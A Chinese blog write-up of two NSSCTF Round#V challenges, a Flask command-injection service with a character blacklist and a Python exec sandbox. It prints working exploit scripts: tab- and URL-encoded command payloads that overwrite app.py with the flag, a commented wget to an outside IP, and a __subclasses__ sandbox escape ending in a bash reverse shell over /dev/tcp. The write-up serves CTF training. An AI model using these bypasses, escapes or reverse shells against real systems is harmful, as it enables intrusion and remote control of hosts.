# NSSCTF Round#V

这次比赛的题目逻辑不是很难,但是需要自己去思考怎么如何利用,通过这样的题目可以去训练利用漏洞的思维,所以花了很多时间去复现

(ps:naive calculator利用eval反弹shell没成功,后面有时间再研究)

1.PYRCE

题目给了源码

from flask import Flask, request, make_response
import uuid
import os

# flag in /flag
app = Flask(__name__)

def waf(rce):
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
    for black in black_list:
        if black in rce:
            return False
    return True

@app.route('/', methods=['GET'])
def index():
    if request.args.get("Ňśś"):
        nss = request.args.get("Ňśś")
        print("nss is ",nss)
        if waf(nss):
            os.popen(nss)
        else:
            return "waf"
    return "/source"


@app.route('/source', methods=['GET'])
def source():
    src = open("app.py", 'rb').read()
    return src

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8080)

# cat /flag
# 𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 # unicode字符
# wget%09𝟏𝟑𝟒.𝟐𝟐𝟐.𝟏𝟕𝟎.𝟐𝟒𝟐:𝟕𝟕𝟕𝟕

逻辑很简单,传入一个参数,在os.popen()处执行命令,这题的难点在于绕黑名单

black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '

写个脚本看看那些没有过滤

def waf(rce):
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
    for black in black_list:
        if black in rce:
            print(black)
            return False
    return True
L = []
for i in range(128):
    if(not waf(chr(i))):
        continue
    else:
        L.append(chr(i))
print(L)
'''
['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', '$', '%', '&', '(', ')', ',', '.', ':', '?', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'o', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', '\x7f']
'''

选出常用的,包括\t $ & () , . : ? 以及大小写字母(过滤u n)

想不到怎么做,下面是根据WP复现的exp

  • 空格用tab绕过
  • / 通过pwd得到,不过需要反复用cd …回到根目录,这样pwd的内容就是 /
  • 目标不出网,一种是反弹shell,一种是覆盖目标文件,采取覆盖目标文件的方法,然后访问 /resource路由,读取app.py的内容即flag的内容
import requests as req

url = "http://43.143.7.97:28062/?Ňśś="

#payload = "cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&echo%09$(pwd)flag)%09app.py"

payload = "cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy"

# cp%09$(cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&cd%09..&&echo%09$(pwd)flag)%09app.py

response = req.get(url+payload)

print(response.text)

print(req.get("http://43.143.7.97:28047/source").text)

2.naive_calculator

题目给了源码

import dis, sys

def pr(x, end='\n'):
    sys.stdout.write(str(x) + end)
    sys.stdout.flush()

pr("========================================")
pr("|           NAIVE CALCULATOR           |")
pr("----------------------------------------")
pr("|          Too simple, sometimes naive.|")
pr("========================================")
pr("")
pr("Sample input: a = 1 + 2")
pr("Sample output: a = 3")
pr("")

def check_code_object(code_info):
    for info_line in code_info:
        if 'code object' in info_line:
            pr("DON'T BE PUSSY")
            exit()

def check_names(code_info):
    for info_line in code_info[code_info.index('Names:'):]:
        if '1:' in info_line:
            pr('HAIYAA')
            exit()

if __name__ == '__main__':
    expr = input('> ')
    code_info = dis.code_info(expr).split('\n')
    check_code_object(code_info)

    if 'Names:' in code_info:
        check_names(code_info)

    exec(expr, {'__builtins__': None}, res:={})
    for LHS, RHS in res.items():
        pr(f"[!] {LHS} = {RHS}")

经过在自己的机器上测试,理解了这段代码:这个程序利用exec函数动态执行表达式,但是只能有一个Names,也就是命名空间(或者说是变量?),而且不能是code object,代码对象(也就是匿名函数?)

难点:

  • 只能有一个变量
  • __builtins__设置为None,如果rce需要突破这里的限制,即python沙箱绕过

根据提示,可以得到一些思路

__getattribute__ = (None).__getattribute__('__class__'); # None也可以用来作为获取基类

__getattribute__即作为变量,也作为内置属性,反复用

贴一个__getattribute__详细解析

在这里插入图片描述

注意如果是直接用类名.类属性的形式调用类属性,是不会调用 __getattribute__方法,必须是对象的实例对属性的调用,包括类属性

expr = ''

expr += "__getattribute__ = (None).__getattribute__('__class__');"

#下面的括号中必须传入一个__getattribute__,可以看做self的值 
expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__base__');"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__subclasses__')();"

print(expr)

接下就是寻找可用的子类,找到命令执行,然后反弹shell

在本地环境(ubuntu20.04 python3.8)反弹shell成功

expr = ''

expr += "__getattribute__ = (None).__getattribute__('__class__');"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__base__');"
expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__subclasses__')();"

expr += "__getattribute__ = __getattribute__[132];"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__init__');"

expr += "__getattribute__ = __getattribute__.__getattribute__('__globals__');"
expr += "__getattribute__ = __getattribute__['popen']('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');"

print(expr)

远程环境中可能含popen的类不一样,但是我在尝试过程中发现globals全局变量中含有flag,下面生成的payload直接打,在输出中可以看到flag

expr = ''

expr += "__getattribute__ = (None).__getattribute__('__class__');"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__base__');"
expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__subclasses__')();"

expr += "__getattribute__ = __getattribute__[132];"

expr += "__getattribute__ = __getattribute__.__getattribute__(__getattribute__,'__init__');"

expr += "__getattribute__ = __getattribute__.__getattribute__('__globals__');"
print(expr)

官方的解法

__getattribute__ = (None).__getattribute__('__class__');
__getattribute__ = __getattribute__.__getattribute__(__getattribute__, '__base__');
__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__, '__subclasses__')()[84](), 'load_module') ('os'), 'system') ('sh')
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值